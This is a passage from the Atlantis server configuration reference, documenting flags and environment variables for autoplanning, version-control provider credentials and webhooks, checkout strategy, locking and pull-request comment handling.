will be used by both automatic and manually run plans.\n- When not set, defaults to all `.tf`, `.tfvars`, `.tfvars.json`, `terragrunt.hcl` and `.terraform.lock.hcl` files\n   (`--autoplan-file-list='**/*.tf,**/*.tfvars,**/*.tfvars.json,**/terragrunt.hcl,**/.terraform.lock.hcl'`).\n- Setting `--autoplan-file-list` will override the defaults. You **must** add `**/*.tf` and other defaults if you want to include them.\n- A custom [Workflow](repo-level-atlantis-yaml.md#configuring-planning) that uses autoplan `when_modified` will ignore this value.\n\nExamples:\n\n- Autoplan when any `*.tf` or `*.tfvars` file is modified.\n  - `--autoplan-file-list='**/*.tf,**/*.tfvars'`\n- Autoplan when any `*.tf` file is modified except in `project2/` directory\n  - `--autoplan-file-list='**/*.tf,!project2'`\n- Autoplan when any `*.tf` files or `.yml` files in subfolder of `project1` is modified.\n  - `--autoplan-file-list='**/*.tf,project1/**/*.yml'`\n\n::: warning NOTE\nBy default, changes to modules will not trigger autoplanning. See the flags below.\n:::\n\n### `--autoplan-modules` <Badge text=\"v0.26.0+\" type=\"info\"/>\n\n```bash\natlantis server --autoplan-modules\n# or\nATLANTIS_AUTOPLAN_MODULES=true\n```\n\nDefaults to `false`. When set to `true`, Atlantis will trace the local modules of included projects.\nIncluded project are projects with files included by `--autoplan-file-list`.\nAfter tracing, Atlantis will plan any project that includes a changed module. This is equivalent to setting\n`--autoplan-modules-from-projects` to the value of `--autoplan-file-list`. See below.\n\n### `--autoplan-modules-from-projects` <Badge text=\"v0.26.0+\" type=\"info\"/>\n\n```bash\natlantis server --autoplan-modules-from-projects='**/init.tf'\n# or\nATLANTIS_AUTOPLAN_MODULES_FROM_PROJECTS='**/init.tf'\n```\n\nEnables auto-planing of projects when a module dependency in the same repository has changed.\nThis is a list of file patterns like `autoplan-file-list`.\n\nThese patterns select **projects** to index based on the files matched. The index maps modules to the projects that depends on them,\nincluding projects that include the module via other modules. When a module file matching `autoplan-file-list` changes,\nall indexed projects will be planned.\n\nCurrent default is \"\" (disabled).\n\nExamples:\n\n- `**/*.tf` - will index all projects that have a `.tf` file in their directory, and plan them whenever an in-repo module dependency has changed.\n- `**/*.tf,!foo,!bar` - will index all projects containing `.tf` except `foo` and `bar` and plan them whenever an in-repo module dependency has changed.\n   This allows projects to opt-out of auto-planning when a module dependency changes.\n\n::: warning NOTE\nModules that are not selected by autoplan-file-list will not be indexed and dependant projects will not be planned. This\nflag allows the _projects_ to index to be selected, but the trigger for a plan must be a file in `autoplan-file-list`.\n:::\n\n::: warning NOTE\nThis flag overrides `--autoplan-modules`. If you wish to disable auto-planning of modules, set this flag to an empty string,\nand set `--autoplan-modules` to `false`.\n:::\n\n### `--azuredevops-hostname` <Badge text=\"v0.9.0+\" type=\"info\"/>\n\n```bash\natlantis server --azuredevops-hostname=\"dev.azure.com\"\n# or\nATLANTIS_AZUREDEVOPS_HOSTNAME=\"dev.azure.com\"\n```\n\nAzure DevOps hostname to support cloud and self-hosted instances. Defaults to `dev.azure.com`.\n\n::: warning COMPATIBILITY WARNING\nIf you are affected by this change [docs](https://learn.microsoft.com/en-us/azure/devops/release-notes/2018/sep-10-azure-devops-launch#administration)\nor this [issue](https://github.com/runatlantis/atlantis/issues/5595)\nboth Service Hooks (v1 & v2) will convert the AD Organization name to lowercase:\nExamples:\n`https://dev.azure.com/MYCompany/` & `https://mycompany.visualstudio.com/` will be converted to `mycompany`\n`https://dev.azure.com/MYCOMPANY/` & `https://myCOMPANY.visualstudio.com/` will be converted to `mycompany`\n\nThis [change](https://github.com/runatlantis/atlantis/pull/5596) will be applied from version v0.35.0\n\nWhat to do if you have pending plans that were generated with a previous version?\nRunning an atlantis unlock from v0.35.0 on your current PRs will ignore the files on the `MYCompany` folder. On the next atlantis plan will use the `mycompany` folder and generate everything in the new folder name\n:::\n\n### `--azuredevops-token` <Badge text=\"v0.9.0+\" type=\"info\"/>\n\n```bash\natlantis server --azuredevops-token=\"RandomStringProducedByAzureDevOps\"\n# or (recommended)\nATLANTIS_AZUREDEVOPS_TOKEN=\"RandomStringProducedByAzureDevOps\"\n```\n\nAzure DevOps token of API user.\n\n### `--azuredevops-user` <Badge text=\"v0.9.0+\" type=\"info\"/>\n\n```bash\natlantis server --azuredevops-user=\"username@example.com\"\n# or\nATLANTIS_AZUREDEVOPS_USER=\"username@example.com\"\n```\n\nAzure DevOps username of API user.\n\n### `--azuredevops-webhook-password` <Badge text=\"v0.9.0+\" type=\"info\"/>\n\n```bash\natlantis server --azuredevops-webhook-password=\"password123\"\n# or (recommended)\nATLANTIS_AZUREDEVOPS_WEBHOOK_PASSWORD=\"password123\"\n```\n\nAzure DevOps basic authentication password for inbound webhooks (see\n[docs](https://docs.microsoft.com/en-us/azure/devops/service-hooks/authorize?view=azure-devops)).\n\n::: warning SECURITY WARNING\nIf not specified, Atlantis won't be able to validate that the\nincoming webhook call came from your Azure DevOps org. This means that an\nattacker could spoof calls to Atlantis and cause it to perform malicious\nactions. Should be specified via the `ATLANTIS_AZUREDEVOPS_WEBHOOK_PASSWORD` environment\nvariable.\n:::\n\n### `--azuredevops-webhook-user` <Badge text=\"v0.9.0+\" type=\"info\"/>\n\n```bash\natlantis server --azuredevops-webhook-user=\"username@example.com\"\n# or\nATLANTIS_AZUREDEVOPS_WEBHOOK_USER=\"username@example.com\"\n```\n\nAzure DevOps basic authentication username for inbound webhooks.\n\n### `--bitbucket-api-user` <Badge text=\"v0.36.0+\" type=\"info\"/>\n\n```bash\natlantis server --bitbucket-api-user=\"apiuser@example.com\"\n# or\nATLANTIS_BITBUCKET_API_USER=\"apiuser@example.com\"\n```\n\nBitbucket username (usually an email) used for API authentication with Bitbucket Cloud. This is used for API calls only. If not specified, Atlantis will use the value of `--bitbucket-user` for API authentication to maintain backward compatibility.\n\n**Note:**\n\n- The backward compatibility is for supporting the existing Bitbucket APP Passwords that are still valid until June 2026(see [here](https://www.atlassian.com/blog/bitbucket/bitbucket-cloud-transitions-to-api-tokens-enhancing-security-with-app-password-deprecation)).\n\n**Config file key:**\n\n```yaml\nbitbucket-api-user: apiuser@example.com\n```\n\n**Environment variable:** `ATLANTIS_BITBUCKET_API_USER`\n\n**Note:** This flag is only relevant for Bitbucket Cloud (bitbucket.org) integrations.\n\n### `--bitbucket-base-url` <Badge text=\"v0.36.0+\" type=\"info\"/>\n\n```bash\natlantis server --bitbucket-base-url=\"http://bitbucket.corp:7990/basepath\"\n# or\nATLANTIS_BITBUCKET_BASE_URL=\"http://bitbucket.corp:7990/basepath\"\n```\n\nBase URL of Bitbucket Server (aka Stash) installation. Must include\n`http://` or `https://`. If using Bitbucket Cloud (bitbucket.org), do not set. Defaults to\n`https://api.bitbucket.org`.\n\n### `--bitbucket-token` <Badge text=\"v0.36.0+\" type=\"info\"/>\n\n```bash\natlantis server --bitbucket-token=\"token\"\n# or (recommended)\nATLANTIS_BITBUCKET_TOKEN=\"token\"\n```\n\nBitbucket app password of API user.\n\n### `--bitbucket-user` <Badge text=\"v0.36.0+\" type=\"info\"/>\n\n```bash\natlantis server --bitbucket-user=\"myuser\"\n# or\nATLANTIS_BITBUCKET_USER=\"myuser\"\n```\n\nBitbucket username used for git operations. For Bitbucket Cloud, if `--bitbucket-api-user` is not specified, this value will also be used for API authentication.\n\n### `--bitbucket-webhook-secret` <Badge text=\"v0.36.0+\" type=\"info\"/>\n\n```bash\natlantis server --bitbucket-webhook-secret=\"secret\"\n# or (recommended)\nATLANTIS_BITBUCKET_WEBHOOK_SECRET=\"secret\"\n```\n\nSecret used to validate Bitbucket webhooks.\n\n::: warning SECURITY WARNING\nIf not specified, Atlantis won't be able to validate that the incoming webhook call came from Bitbucket.\nThis means that an attacker could spoof calls to Atlantis and cause it to perform malicious actions.\n:::\n\n### `--checkout-depth` <Badge text=\"v0.28.0+\" type=\"info\"/>\n\n```bash\natlantis server --checkout-depth=0\n# or\nATLANTIS_CHECKOUT_DEPTH=0\n```\n\nThe number of commits to fetch from the branch. Used if `--checkout-strategy=merge` since the `--checkout-strategy=branch` (default) checkout strategy always defaults to a shallow clone using a depth of 1.\nDefaults to `0`. See [Checkout Strategy](checkout-strategy.md) for more details.\n\n### `--checkout-strategy` <Badge text=\"v0.9.0+\" type=\"info\"/>\n\n```bash\natlantis server --checkout-strategy=\"<branch|merge>\"\n# or\nATLANTIS_CHECKOUT_STRATEGY=\"<branch|merge>\"\n```\n\nHow to check out pull requests. Use either `branch` or `merge`.\nDefaults to `branch`. See [Checkout Strategy](checkout-strategy.md) for more details.\n\n### `--config` <Badge text=\"v0.1.3+\" type=\"info\"/>\n\n```bash\natlantis server --config=\"my/config/file.yaml\"\n# or\nATLANTIS_CONFIG=\"my/config/file.yaml\"\n```\n\nYAML config file where flags can also be set. See [Config File](#config-file) for more details.\n\n### `--data-dir` <Badge text=\"v0.1.3+\" type=\"info\"/>\n\n```bash\natlantis server --data-dir=\"path/to/data/dir\"\n# or\nATLANTIS_DATA_DIR=\"path/to/data/dir\"\n```\n\nDirectory where Atlantis will store its data. Will be created if it doesn't exist.\nDefaults to `~/.atlantis`. Atlantis will store its database, checked out repos, Terraform plans and downloaded\nTerraform binaries here. If Atlantis loses this directory, [locks](locking.md)\nwill be lost and unapplied plans will be lost.\n\nNote that the atlantis user is restricted to `~/.atlantis`.\nIf you set the `--data-dir` flag to a path outside of Atlantis its home directory, ensure that you grant the atlantis user the correct permissions.\n\n### `--default-tf-distribution` <Badge text=\"v0.24.0+\" type=\"info\"/>\n\n```bash\natlantis server --default-tf-distribution=\"terraform\"\n# or\nATLANTIS_DEFAULT_TF_DISTRIBUTION=\"terraform\"\n```\n\nWhich TF distribution to use. Can be set to `terraform` or `opentofu`.\n\n### `--default-tf-version` <Badge text=\"v0.13.0\" type=\"info\"/>\n\n```bash\natlantis server --default-tf-version=\"v0.12.31\"\n# or\nATLANTIS_DEFAULT_TF_VERSION=\"v0.12.31\"\n```\n\nTerraform version to default to. Will download to `<data-dir>/bin/terraform<version>`\nif not in `PATH`. See [Terraform Versions](terraform-versions.md) for more details.\n\n### `--disable-apply-all` <Badge text=\"v0.9.0+\" type=\"info\"/>\n\n```bash\natlantis server --disable-apply-all\n# or\nATLANTIS_DISABLE_APPLY_ALL=true\n```\n\nDisable `atlantis apply` command so a specific project/workspace/directory has to\nbe specified for applies.\n\n### `--disable-autoplan` <Badge text=\"v0.15.0+\" type=\"info\"/>\n\n```bash\natlantis server --disable-autoplan\n# or\nATLANTIS_DISABLE_AUTOPLAN=true\n```\n\nDisable atlantis auto planning.\n\n### `--disable-autoplan-label` <Badge text=\"v0.33.0+\" type=\"info\"/>\n\n```bash\natlantis server --disable-autoplan-label=\"no-autoplan\"\n# or\nATLANTIS_DISABLE_AUTOPLAN_LABEL=\"no-autoplan\"\n```\n\nDisable atlantis auto planning only on pull requests with the specified label.\n\nIf `disable-autoplan` property is `true`, this flag has no effect.\n\n### `--disable-global-apply-lock` <Badge text=\"v0.17.0\" type=\"info\"/>\n\n```bash\natlantis server --disable-global-apply-lock\n# or\nATLANTIS_DISABLE_GLOBAL_APPLY_LOCK=true\n```\n\nIf true, removes button in the UI that allows users to globally disable apply commands.\n\n### `--disable-markdown-folding` <Badge text=\"v0.31.0+\" type=\"info\"/>\n\n```bash\natlantis server --disable-markdown-folding\n# or\nATLANTIS_DISABLE_MARKDOWN_FOLDING=true\n```\n\nDisable folding in markdown output using the `<details>` html tag.\n\n### `--disable-repo-locking` <Badge text=\"v0.16.1\" type=\"info\"/>\n\n```bash\natlantis server --disable-repo-locking\n# or\nATLANTIS_DISABLE_REPO_LOCKING=true\n```\n\nStops atlantis from locking projects and or workspaces when running terraform.\n\n### `--disable-unlock-label` <Badge text=\"v0.33.0+\" type=\"info\"/>\n\n```bash\natlantis server --disable-unlock-label do-not-unlock\n# or\nATLANTIS_DISABLE_UNLOCK_LABEL=\"do-not-unlock\"\n```\n\nStops atlantis from unlocking a pull request with this label. Defaults to \"\" (feature disabled).\n\n### `--discard-approval-on-plan` <Badge text=\"v0.29.0+\" type=\"info\"/>\n\n```bash\natlantis server --discard-approval-on-plan\n# or\nATLANTIS_DISCARD_APPROVAL_ON_PLAN=true\n```\n\nIf set, discard approval if a new plan has been executed. Currently only supported on GitHub and GitLab. For GitLab a bot, group or project token is required for this feature.\n Reference: [reset-approvals-of-a-merge-request](https://docs.gitlab.com/api/merge_request_approvals/#reset-approvals-of-a-merge-request)\n\n### `--emoji-reaction` <Badge text=\"v0.29.0+\" type=\"info\"/>\n\n```bash\natlantis server --emoji-reaction eyes\n# or\nATLANTIS_EMOJI_REACTION=eyes\n```\n\nThe emoji reaction to use for marking processed comments. Currently supported on Azure DevOps, GitHub and GitLab. If not specified, Atlantis will not use an emoji reaction.\nDefaults to \"\" (empty string).\n\n::: warning NOTE\nEach VCS provider supports a different list of emojis:\n\n- [GitHub](https://docs.github.com/en/rest/reactions/reactions?apiVersion=2022-11-28#about-reactions)\n- [GitLab](https://gitlab.com/gitlab-org/gitlab/-/blob/master/fixtures/emojis/digests.json)\n- [Azure DevOps](https://learn.microsoft.com/en-us/azure/devops/project/wiki/markdown-guidance?view=azure-devops#emoji)\n\n   :::\n\n### `--enable-diff-markdown-format` <Badge text=\"v0.25.0+\" type=\"info\"/>\n\n```bash\natlantis server --enable-diff-markdown-format\n# or\nATLANTIS_ENABLE_DIFF_MARKDOWN_FORMAT=true\n```\n\nEnable Atlantis to format Terraform plan output into a markdown-diff friendly format for color-coding purposes.\n\nUseful to enable for use with GitHub.\n\n### `--enable-policy-checks` <Badge text=\"v0.17.0\" type=\"info\"/>\n\n```bash\natlantis server --enable-policy-checks\n# or\nATLANTIS_ENABLE_POLICY_CHECKS=true\n```\n\nEnables atlantis to run server side policies on the result of a terraform plan. Policies are defined in [server side repo config](server-side-repo-config.md#reference).\n\n### `--enable-profiling-api` <Badge text=\"v0.25.0+\" type=\"info\"/>\n\n```bash\natlantis server --enable-profiling-api\n# or\nATLANTIS_ENABLE_PROFILING_API=true\n```\n\nEnable [`net/http/pprof`](https://pkg.go.dev/net/http/pprof) endpoints for [continuous profiling](https://grafana.com/docs/pyroscope/latest/introduction/continuous-profiling/) of resources used by the server. See [profiling Go programs](https://go.dev/blog/pprof) for more information.\n\n### `--enable-regexp-cmd` <Badge text=\"v0.17.0\" type=\"info\"/>\n\n```bash\natlantis server --enable-regexp-cmd\n# or\nATLANTIS_ENABLE_REGEXP_CMD=true\n```\n\nEnable Atlantis to use regular expressions to run plan/apply commands against defined project names when `-p` flag is passed with it.\n\nThis can be used to run all defined projects (with the `name` key) in `atlantis.yaml` using `atlantis plan -p .*`.\n\nThe flag will only allow the regexes listed in the [`allowed_regexp_prefixes`](repo-level-atlantis-yaml.md#reference) key defined in the repo `atlantis.yaml` file. If the key is undefined, its value defaults to `[]` which will allow any regex.\n\nThis will not work with `-d` yet and to use `-p` the repo projects must be defined in the repo `atlantis.yaml` file.\n\nThis will bypass `--restrict-file-list` if regex is used, normal commands will still be blocked if necessary.\n\n::: warning SECURITY WARNING\nIt's not supposed to be used with `--disable-apply-all`.\nThe command `atlantis apply -p .*` will bypass the restriction and run apply on every project.\n:::\n\n### `--executable-name` <Badge text=\"v0.42.0+\" type=\"info\"/>\n\n```bash\natlantis server --executable-name=\"atlantis\"\n# or\nATLANTIS_EXECUTABLE_NAME=\"atlantis\"\n```\n\nComment command trigger executable name. Defaults to `atlantis`.\n\nThis is useful when running multiple Atlantis servers against a single repository.\n\n### `--fail-on-pre-workflow-hook-error` <Badge text=\"v0.27.0+\" type=\"info\"/>\n\n```bash\natlantis server --fail-on-pre-workflow-hook-error\n# or\nATLANTIS_FAIL_ON_PRE_WORKFLOW_HOOK_ERROR=true\n```\n\nFail and do not run the requested Atlantis command if any of the pre workflow hooks error.\n\n### `--gh-allow-mergeable-bypass-apply` <Badge text=\"v0.30.0+\" type=\"info\"/>\n\n```bash\natlantis server --gh-allow-mergeable-bypass-apply\n# or\nATLANTIS_GH_ALLOW_MERGEABLE_BYPASS_APPLY=true\n```\n\nFeature flag to enable ability to use `mergeable` mode with required apply status check.\n\n### `--gh-app-id` <Badge text=\"v0.20.0+\" type=\"info\"/>\n\n```bash\natlantis server --gh-app-id=\"00000\"\n# or\nATLANTIS_GH_APP_ID=\"00000\"\n```\n\nGitHub app ID. If set, GitHub authentication will be performed as [an installation](https://docs.github.com/en/rest/apps/installations).\n\n::: tip\nA GitHub app can be created by starting Atlantis first, then pointing your browser at\n\n```shell\n$(hostname)/github-app/setup\n```\n\nYou'll be redirected to GitHub to create a new app, and will then be redirected to\n\n```shell\n$(hostname)/github-app/exchange-code?code=some-code\n```\n\nAfter which Atlantis will display your new app's credentials: your app's ID, its generated `--gh-webhook-secret` and the contents of the file for `--gh-app-key-file`. Update your Atlantis config accordingly, and restart the server.\n:::\n\n### `--gh-app-installation-id` <Badge text=\"v0.20.0+\" type=\"info\"/>\n\n```bash\natlantis server --gh-app-installation-id=\"123\"\n# or\nATLANTIS_GH_APP_INSTALLATION_ID=\"123\"\n```\n\nThe installation ID of a specific instance of a GitHub application. Normally this value is\nderived by querying GitHub for the list of installations of the ID supplied via `--gh-app-id` and selecting\nthe first one found and where multiple installations results in an error. Use this flag if you have multiple\ninstances of Atlantis but you want to use a single already-installed GitHub app for all of them. You would normally do this if\nyou are running a proxy as your single GitHub application that will proxy to an appropriate Atlantis instance\nbased on the organization or user that triggered the webhook.\n\n### `--gh-app-key` <Badge text=\"v0.20.0+\" type=\"info\"/>\n\n```bash\natlantis server --gh-app-key=\"-----BEGIN RSA PRIVATE KEY-----(...)\"\n# or\nATLANTIS_GH_APP_KEY=\"-----BEGIN RSA PRIVATE KEY-----(...)\"\n```\n\nThe PEM encoded private key for the GitHub App.\n\n::: warning SECURITY WARNING\nThe contents of the private key will be visible by anyone that can run `ps` or look at the shell history of the machine where Atlantis is running. Use `--gh-app-key-file` to mitigate that risk.\n:::\n\n### `--gh-app-key-file` <Badge text=\"v0.20.0+\" type=\"info\"/>\n\n```bash\natlantis server --gh-app-key-file=\"path/to/app-key.pem\"\n# or\nATLANTIS_GH_APP_KEY_FILE=\"path/to/app-key.pem\"\n```\n\nPath to a GitHub App PEM encoded private key file. If set, GitHub authentication will be performed as [an installation](https://docs.github.com/en/rest/apps/installations).\n\n### `--gh-app-slug` <Badge text=\"v0.16.1\" type=\"info\"/>\n\n```bash\natlantis server --gh-app-slug=\"myappslug\"\n# or\nATLANTIS_GH_APP_SLUG=\"myappslug\"\n```\n\nA slugged version of GitHub app name shown in pull requests comments, etc (not `Atlantis App` but something like `atlantis-app`). Atlantis uses the value of this parameter to identify the comments it has left on GitHub pull requests. This is used for functions such as `--hide-prev-plan-comments`. You need to obtain this value from your GitHub app, one way is to go to your App settings and open \"Public page\" from the left sidebar. Your `--gh-app-slug` value will be the last part of the URL, e.g `https://github.com/apps/<slug>`.\n\n### `--gh-hostname` <Badge text=\"v0.1.3+\" type=\"info\"/>\n\n```bash\natlantis server --gh-hostname=\"my.github.enterprise.com\"\n# or\nATLANTIS_GH_HOSTNAME=\"my.github.enterprise.com\"\n```\n\nHostname of your GitHub Enterprise installation. If using [GitHub.com](https://github.com),\ndon't set. Defaults to `github.com`.\n\n### `--gh-org` <Badge text=\"v0.1.3+\" type=\"info\"/>\n\n```bash\natlantis server --gh-org=\"myorgname\"\n# or\nATLANTIS_GH_ORG=\"myorgname\"\n```\n\nGitHub organization name. Set to enable creating a private GitHub app for this organization.\n\n### `--gh-team-allowlist` <Badge text=\"v0.41.0+\" type=\"info\"/>\n\n```bash\natlantis server --gh-team-allowlist=\"myteam:plan, secteam:apply, devops-team:apply, devops-team:import\"\n# or\nATLANTIS_GH_TEAM_ALLOWLIST=\"myteam:plan, secteam:apply, devops-team:apply, devops-team:import\"\n```\n\nIn versions v0.35.0 and later, the GitHub team name can only be a slug because it is immutable.\n\nIn versions between v0.21.0 and v0.34.0, the GitHub team name can be a name or a slug.\n\nIn versions v0.20.1 and below, the GitHub team name required the case sensitive team name.\n\nComma-separated list of GitHub teams and permission pairs.\n\nBy default, any team can plan and apply.\n\n::: tip\nIf you are using [policy checking](policy-checking.md), you must also allowlist the `policy_check` command for it to work on manual `atlantis plan` commands:\n\n```bash\natlantis server --gh-team-allowlist=\"*:plan,*:policy_check,myteam:apply\"\n```\n\nSee [Policy Checking documentation](policy-checking.md#step-1-enable-the-workflow) for more details.\n:::\n\n### `--gh-token` <Badge text=\"v0.1.3+\" type=\"info\"/>\n\n```bash\natlantis server --gh-token=\"token\"\n# or (recommended)\nATLANTIS_GH_TOKEN=\"token\"\n```\n\nGitHub token of API user.\n\n### `--gh-token-file` <Badge text=\"v0.41.0+\" type=\"info\"/>\n\n```bash\natlantis server --gh-token-file=\"/path/to/token\"\n# or\nATLANTIS_GH_TOKEN_FILE=\"/path/to/token\"\n```\n\nGitHub token of API user. The token is loaded from disk regularly to allow for rotation of the token without the need to restart the Atlantis server.\n\n### `--gh-user` <Badge text=\"v0.1.3+\" type=\"info\"/>\n\n```bash\natlantis server --gh-user=\"myuser\"\n# or\nATLANTIS_GH_USER=\"myuser\"\n```\n\nGitHub username of API user. This user is also used by the flag `--hide-user-plan-comments` and will need to be updated if migrating to github EMU.\n\n### `--gh-webhook-secret` <Badge text=\"v0.1.3+\" type=\"info\"/>\n\n```bash\natlantis server --gh-webhook-secret=\"secret\"\n# or (recommended)\nATLANTIS_GH_WEBHOOK_SECRET=\"secret\"\n```\n\nSecret used to validate GitHub webhooks (see [GitHub: Validating webhook deliveries](https://docs.github.com/en/webhooks/using-webhooks/validating-webhook-deliveries)).\n\n::: warning SECURITY WARNING\nIf not specified, Atlantis won't be able to validate that the incoming webhook call came from GitHub.\nThis means that an attacker could spoof calls to Atlantis and cause it to perform malicious actions.\n:::\n\n### `--gitea-base-url` <Badge text=\"v0.28.0+\" type=\"info\"/>\n\n```bash\natlantis server --gitea-base-url=\"http://your-gitea.corp:7990/basepath\"\n# or\nATLANTIS_GITEA_BASE_URL=\"http://your-gitea.corp:7990/basepath\"\n```\n\nBase URL of Gitea installation. Must include `http://` or `https://`. Defaults to `https://gitea.com` if left empty/absent.\n\n### `--gitea-page-size` <Badge text=\"v0.28.0+\" type=\"info\"/>\n\n```bash\natlantis server --gitea-page-size=30\n# or (recommended)\nATLANTIS_GITEA_PAGE_SIZE=30\n```\n\nNumber of items on a single page in Gitea paged responses.\n\n::: warning Configuration dependent\nThe default value conforms to the Gitea server's standard config setting: DEFAULT_PAGING_NUM\nThe highest valid value depends on the Gitea server's config setting: MAX_RESPONSE_ITEMS\n:::\n\n### `--gitea-token` <Badge text=\"v0.28.0+\" type=\"info\"/>\n\n```bash\natlantis server --gitea-token=\"token\"\n# or (recommended)\nATLANTIS_GITEA_TOKEN=\"token\"\n```\n\nGitea app password of API user.\n\n### `--gitea-user` <Badge text=\"v0.28.0+\" type=\"info\"/>\n\n```bash\natlantis server --gitea-user=\"myuser\"\n# or\nATLANTIS_GITEA_USER=\"myuser\"\n```\n\nGitea username of API user.\n\n### `--gitea-webhook-secret` <Badge text=\"v0.28.0+\" type=\"info\"/>\n\n```bash\natlantis server --gitea-webhook-secret=\"secret\"\n# or (recommended)\nATLANTIS_GITEA_WEBHOOK_SECRET=\"secret\"\n```\n\nSecret used to validate Gitea webhooks.\n\n::: warning SECURITY WARNING\nIf not specified, Atlantis won't be able to validate that the incoming webhook call came from Gitea.\nThis means that an attacker could spoof calls to Atlantis and cause it to perform malicious actions.\n:::\n\n### `--gitlab-group-allowlist` <Badge text=\"v0.13.0+\" type=\"info\"/>\n\n```bash\natlantis server --gitlab-group-allowlist=\"myorg/mygroup:plan, myorg/secteam:apply, myorg/devops:apply, myorg/devops:import\"\n# or\nATLANTIS_GITLAB_GROUP_ALLOWLIST=\"myorg/mygroup:plan, myorg/secteam:apply, myorg/devops:apply, myorg/devops:import\"\n```\n\nComma-separated list of GitLab groups and permission pairs.\n\nBy default, any group can plan and apply.\n\n::: warning NOTE\nAtlantis needs to be able to view the listed group members, inaccessible or non-existent groups are silently ignored.\n:::\n\n### `--gitlab-hostname` <Badge text=\"v0.2.0+\" type=\"info\"/>\n\n```bash\natlantis server --gitlab-hostname=\"my.gitlab.enterprise.com\"\n# or\nATLANTIS_GITLAB_HOSTNAME=\"my.gitlab.enterprise.com\"\n```\n\nHostname of your GitLab Enterprise installation. If using [GitLab.com](https://gitlab.com),\ndon't set. Defaults to `gitlab.com`.\n\n### `--gitlab-status-retry-enabled`\n\n```bash\natlantis server --gitlab-status-retry-enabled\n# or\nATLANTIS_GITLAB_STATUS_RETRY_ENABLED=true\n```\n\nEnable enhanced retry logic for GitLab pipeline status updates with exponential backoff.\n\nDefaults to `false`.\n\n### `--gitlab-token` <Badge text=\"v0.2.0+\" type=\"info\"/>\n\n```bash\natlantis server --gitlab-token=\"token\"\n# or (recommended)\nATLANTIS_GITLAB_TOKEN=\"token\"\n```\n\nGitLab token of API user.\n\n### `--gitlab-user` <Badge text=\"v0.2.0+\" type=\"info\"/>\n\n```bash\natlantis server --gitlab-user=\"myuser\"\n# or\nATLANTIS_GITLAB_USER=\"myuser\"\n```\n\nGitLab username of API user.\n\n### `--gitlab-webhook-secret` <Badge text=\"v0.2.0+\" type=\"info\"/>\n\n```bash\natlantis server --gitlab-webhook-secret=\"secret\"\n# or (recommended)\nATLANTIS_GITLAB_WEBHOOK_SECRET=\"secret\"\n```\n\nSecret used to validate GitLab webhooks.\n\n::: warning SECURITY WARNING\nIf not specified, Atlantis won't be able to validate that the incoming webhook call came from GitLab.\nThis means that an attacker could spoof calls to Atlantis and cause it to perform malicious actions.\n:::\n\n### `--help` <Badge text=\"v0.1.3+\" type=\"info\"/>\n\n```bash\natlantis server --help\n```\n\nView help.\n\n### `--hide-prev-plan-comments` <Badge text=\"v0.19.0\" type=\"info\"/>\n\n```bash\natlantis server --hide-prev-plan-comments\n# or\nATLANTIS_HIDE_PREV_PLAN_COMMENTS=true\n```\n\nHide previous plan comments to declutter PRs. This is only supported in\nGitHub and GitLab and Bitbucket currently and is not enabled by default.\n\nFor Bitbucket, the comments are deleted rather than hidden as Bitbucket does not support hiding comments.\n\nFor GitHub, ensure the `--gh-user` is set appropriately or comments will not be hidden.\n\nWhen using the GitHub App, you need to set `--gh-app-slug` to enable this feature.\n\n### `--hide-unchanged-plan-comments` <Badge text=\"v0.29.0+\" type=\"info\"/>\n\n```bash\natlantis server --hide-unchanged-plan-comments\n# or\nATLANTIS_HIDE_UNCHANGED_PLAN_COMMENTS=true\n```\n\nRemove no-changes plan comments from the pull request.\n\nThis is useful when you have many projects and want to keep the pull request clean from useless comments.\n\n### `--ignore-vcs-status-names` <Badge text=\"v0.30.0+\" type=\"info\"/>\n\n```bash\natlantis server --ignore-vcs-status-names=\"status1,status2\"\n# or\nATLANTIS_IGNORE_VCS_STATUS_NAMES=status1,status2\n```\n\nComma separated list of VCS status names from other atlantis services.\nWhen `gh-allow-mergeable-bypass-apply` is true, will ignore status checks\n(e.g. `status1/plan`, `status1/apply`, `status2/plan`, `status2/apply`)\nfrom other Atlantis services when checking if the PR is mergeable.\nCurrently only implemented for GitHub.\n\n### `--include-git-untracked-files` <Badge text=\"v0.27.0+\" type=\"info\"/>\n\n```bash\natlantis server --include-git-untracked-files\n# or\nATLANTIS_INCLUDE_GIT_UNTRACKED_FILES=true\n```\n\nInclude git untracked files in the Atlantis modified file list.\nUsed for example with CDKTF pre-workflow hooks that dynamically generate\nTerraform files.\n\n### `--locking-db-type` <Badge text=\"v0.19.9+\" type=\"info\"/>\n\n```bash\natlantis server --locking-db-type=\"<boltdb|redis>\"\n# or\nATLANTIS_LOCKING_DB_TYPE=\"<boltdb|redis>\"\n```\n\nThe locking database type to use for storing plan and apply locks. Defaults to `boltdb`.\n\nNotes:\n\n- If set to `boltdb`, only one process may have access to the boltdb instance.\n- If set to `redis`, then `--redis-host`, `--redis-port`, and `--redis-password` must be set.\n\n### `--log-level` <Badge text=\"v0.1.3+\" type=\"info\"/>\n\n```bash\natlantis server --log-level=\"<debug|info|warn|error>\"\n# or\nATLANTIS_LOG_LEVEL=\"<debug|info|warn|error>\"\n```\n\nLog level. Defaults to `info`.\n\n### `--markdown-template-overrides-dir` <Badge text=\"v0.21.0\" type=\"info\"/>\n\n```bash\natlantis server --markdown-template-overrides-dir=\"path/to/templates/\"\n# or\nATLANTIS_MARKDOWN_TEMPLATE_OVERRIDES_DIR=\"path/to/templates/\"\n```\n\nThis will be available in v0.21.0.\n\nDirectory where Atlantis will read in overrides for markdown templates used to render comments on pull requests.\nMarkdown template overrides may be specified either in individual files, or all together in a single file. All template\noverride files _must_ have the `.tmpl` extension, otherwise they will not be parsed.\n\nMarkdown templates which may have overrides can be found [markdown templates directory](https://github.com/runatlantis/atlantis/tree/main/server/events/templates)\n\nPlease be mindful that settings like `--enable-diff-markdown-format` depend on logic defined in the templates. It is\npossible to diverge from expected behavior, if care is not taken when overriding default templates.\n\nDefaults to the atlantis home directory `/home/atlantis/.markdown_templates/` in `/$HOME/.markdown_templates`.\n\n### `--max-comments-per-command` <Badge text=\"v0.32.0+\" type=\"info\"/>\n\n```bash\natlantis server --max-comments-per-command=100\n# or\nATLANTIS_MAX_COMMENTS_PER_COMMAND=100\n```\n\nLimit the number of comments published after a command is executed, to prevent spamming your VCS and Atlantis to get throttled as a result. Defaults to `100`. Set this option to `0` to disable log truncation. Note that the truncation will happen on the top of the command output, to preserve the most important parts of the output, often displayed at the end.\n\nWhen command output exceeds the VCS comment size limit (or when this limit applies), Atlantis splits the output into multiple comments using **intelligent comment splitting**. Split points are chosen so that markdown structure is preserved: the splitter detects whether it is inside a code block (`` ``` ``), a `<details>` block, or inline code (`` ` ``), and inserts appropriate closing and continuation markers so that each 